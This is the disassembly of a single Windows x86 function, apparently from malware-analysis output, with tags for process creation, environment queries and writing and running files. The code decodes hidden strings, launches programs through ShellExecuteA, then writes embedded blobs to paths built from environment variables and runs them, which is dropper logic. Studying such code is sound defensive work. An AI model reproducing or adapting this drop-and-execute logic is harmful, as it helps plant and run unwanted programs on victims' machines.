Function at 0x40108c
Capabilities:
Create process on windows
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x538
nop
mov eax, 4
push eax
mov eax, 0x402021
push eax
call section..text
add esp, 8
mov ecx, 0xa
push ecx
mov ecx, 0x402026
push ecx
mov dword [ebp - 4], eax
call section..text
add esp, 8
mov ecx, 0x216
push ecx
mov ecx, 0x402031
push ecx
mov dword [ebp - 8], eax
call section..text
add esp, 8
mov ecx, 0
push ecx
mov ecx, 0
push ecx
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0x2ee0
push eax
call sub.msvcrt.dll__sleep
add esp, 4
mov eax, 4
push eax
mov eax, 0x402248
push eax
call section..text
add esp, 8
mov ecx, 0xa
push ecx
mov ecx, 0x40224d
push ecx
mov dword [ebp - 4], eax
call section..text
add esp, 8
mov ecx, 0x12e
push ecx
mov ecx, 0x402258
push ecx
mov dword [ebp - 8], eax
call section..text
add esp, 8
mov ecx, 0
push ecx
mov ecx, 0
push ecx
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0x78
push eax
mov eax, 0
push eax
lea eax, [ebp - 0x80]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, str.gQ_v_R
mov dword [ebp - 0x80], eax
mov eax, 0x402392
mov dword [ebp - 0x7c], eax
mov eax, 0x402398
mov dword [ebp - 0x78], eax
mov eax, 0x4d9f99
mov dword [ebp - 0x74], eax
mov eax, 0x4d9f9e
mov dword [ebp - 0x70], eax
mov eax, 0x4d9fa4
mov dword [ebp - 0x6c], eax
mov eax, 0x5a9ba5
mov dword [ebp - 0x68], eax
mov eax, 0x5a9baa
mov dword [ebp - 0x64], eax
mov eax, 0x5a9bb0
mov dword [ebp - 0x60], eax
mov eax, 0x604d29
mov dword [ebp - 0x5c], eax
mov eax, 0x604d2e
mov dword [ebp - 0x58], eax
mov eax, str.yr_45bigh_
mov dword [ebp - 0x54], eax
mov eax, 0x649d35
mov dword [ebp - 0x50], eax
mov eax, 0x649d3a
mov dword [ebp - 0x4c], eax
mov eax, 0x649d40
mov dword [ebp - 0x48], eax
mov eax, 0x737dd9
mov dword [ebp - 0x44], eax
mov eax, 0x737dde
mov dword [ebp - 0x40], eax
mov eax, 0x737de4
mov dword [ebp - 0x3c], eax
mov eax, 0x7f21e5
mov dword [ebp - 0x38], eax
mov eax, 0x7f21ea
mov dword [ebp - 0x34], eax
mov eax, 0x7f21f0
mov dword [ebp - 0x30], eax
mov eax, 0x8ad829
mov dword [ebp - 0x2c], eax
mov eax, 0x8ad82e
mov dword [ebp - 0x28], eax
mov eax, 0x8ad834
mov dword [ebp - 0x24], eax
mov eax, 0x8ffe40
mov dword [ebp - 0x20], eax
mov eax, 0x8ffe45
mov dword [ebp - 0x1c], eax
mov eax, 0x8ffe4b
mov dword [ebp - 0x18], eax
mov eax, 0x9d7a4c
mov dword [ebp - 0x14], eax
mov eax, 0x9d7a51
mov dword [ebp - 0x10], eax
mov eax, 0x9d7a58
mov dword [ebp - 0xc], eax
mov eax, 0xa0
push eax
mov eax, 0
push eax
lea eax, [ebp - 0x120]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 0xa
mov dword [ebp - 0x120], eax
mov eax, 5
mov dword [ebp - 0x11c], eax
mov eax, 0xd7c00
mov dword [ebp - 0x118], eax
mov eax, 1
mov dword [ebp - 0x114], eax
mov eax, 4
mov dword [ebp - 0x110], eax
mov eax, 5
mov dword [ebp - 0x10c], eax
mov eax, 0xcfc00
mov dword [ebp - 0x108], eax
mov eax, 1
mov dword [ebp - 0x104], eax
mov eax, 4
mov dword [ebp - 0x100], eax
mov eax, 5
mov dword [ebp - 0xfc], eax
mov eax, 0x5b178
mov dword [ebp - 0xf8], eax
mov eax, 1
mov dword [ebp - 0xf4], eax
mov eax, 4
mov dword [ebp - 0xf0], eax
mov eax, 5
mov dword [ebp - 0xec], eax
mov eax, 0x45000
mov dword [ebp - 0xe8], eax
mov eax, 1
mov dword [ebp - 0xe4], eax
mov eax, 4
mov dword [ebp - 0xe0], eax
mov eax, 5
mov dword [ebp - 0xdc], eax
mov eax, 0xee098
mov dword [ebp - 0xd8], eax
mov eax, 1
mov dword [ebp - 0xd4], eax
mov eax, 4
mov dword [ebp - 0xd0], eax
mov eax, 5
mov dword [ebp - 0xcc], eax
mov eax, 0xba400
mov dword [ebp - 0xc8], eax
mov eax, 1
mov dword [ebp - 0xc4], eax
mov eax, 4
mov dword [ebp - 0xc0], eax
mov eax, 5
mov dword [ebp - 0xbc], eax
mov eax, 0xbb638
mov dword [ebp - 0xb8], eax
mov eax, 1
mov dword [ebp - 0xb4], eax
mov eax, 4
mov dword [ebp - 0xb0], eax
mov eax, 5
mov dword [ebp - 0xac], eax
mov eax, 0x5260b
mov dword [ebp - 0xa8], eax
mov eax, 1
mov dword [ebp - 0xa4], eax
mov eax, 4
mov dword [ebp - 0xa0], eax
mov eax, 5
mov dword [ebp - 0x9c], eax
mov eax, 0xd7c00
mov dword [ebp - 0x98], eax
mov eax, 1
mov dword [ebp - 0x94], eax
mov eax, 4
mov dword [ebp - 0x90], eax
mov eax, 6
mov dword [ebp - 0x8c], eax
mov eax, 0x5b178
mov dword [ebp - 0x88], eax
mov eax, 1
mov dword [ebp - 0x84], eax
mov eax, 0
mov dword [ebp - 0x534], eax
mov eax, dword [ebp - 0x534]
cmp eax, 0xa
jge 0x401667
jmp 0x401471
mov eax, dword [ebp - 0x534]
inc eax
mov dword [ebp - 0x534], eax
jmp 0x40144e
mov eax, dword [ebp - 0x534]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x80]
add ecx, eax
mov eax, str.w__nFR_f
push eax
mov eax, dword [ecx]
push eax
call sub.msvcrt.dll_strcmp
add esp, 8
cmp eax, 0
jne 0x4014eb
mov eax, dword [ebp - 0x534]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x80]
add ecx, eax
add ecx, 4
mov eax, dword [ebp - 0x534]
shl eax, 4
lea edx, [ebp - 0x120]
add edx, eax
add edx, 4
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
push eax
lea eax, [ebp - 0x530]
push eax
call sub.msvcrt.dll_strcpy
add esp, 8
jmp 0x40157b
mov eax, dword [ebp - 0x534]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x80]
add ecx, eax
mov eax, dword [ebp - 0x534]
shl eax, 4
lea edx, [ebp - 0x120]
add edx, eax
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
push eax
call sub.msvcrt.dll_getenv
add esp, 4
mov ecx, dword [ebp - 0x534]
mov edx, 0xc
imul ecx, edx
lea edx, [ebp - 0x80]
add edx, ecx
add edx, 4
mov ecx, dword [ebp - 0x534]
shl ecx, 4
mov dword [ebp - 4], eax
lea eax, [ebp - 0x120]
add eax, ecx
add eax, 4
mov ecx, dword [eax]
push ecx
mov eax, dword [edx]
push eax
call section..text
add esp, 8
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, str._s_s
push eax
lea eax, [ebp - 0x530]
push eax
call sub.msvcrt.dll_sprintf
add esp, 0x10
mov eax, 0xa32be9
push eax
lea eax, [ebp - 0x530]
push eax
call sub.msvcrt.dll_fopen
add esp, 8
mov dword [ebp - 0x538], eax
mov eax, dword [ebp - 0x534]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x80]
add ecx, eax
add ecx, 8
mov eax, dword [ebp - 0x534]
shl eax, 4
lea edx, [ebp - 0x120]
add edx, eax
add edx, 8
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
mov ecx, dword [ebp - 0x534]
shl ecx, 4
lea edx, [ebp - 0x120]
add edx, ecx
add edx, 8
mov ecx, dword [ebp - 0x538]
push ecx
mov ecx, 1
push ecx
mov ecx, dword [edx]
push ecx
push eax
call sub.msvcrt.dll_fwrite
add esp, 0x10
mov eax, dword [ebp - 0x538]
push eax
call sub.msvcrt.dll_fclose
add esp, 4
mov eax, dword [ebp - 0x534]
shl eax, 4
lea ecx, [ebp - 0x120]
add ecx, eax
add ecx, 0xc
mov eax, dword [ecx]
cmp eax, 0
je 0x401662
mov eax, 4
push eax
mov eax, 0xa32bec
push eax
call section..text
add esp, 8
mov ecx, 0xa
push ecx
mov ecx, 0
push ecx
mov ecx, 0
push ecx
lea ecx, [ebp - 0x530]
push ecx
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
jmp 0x401462
mov eax, 0
leave
ret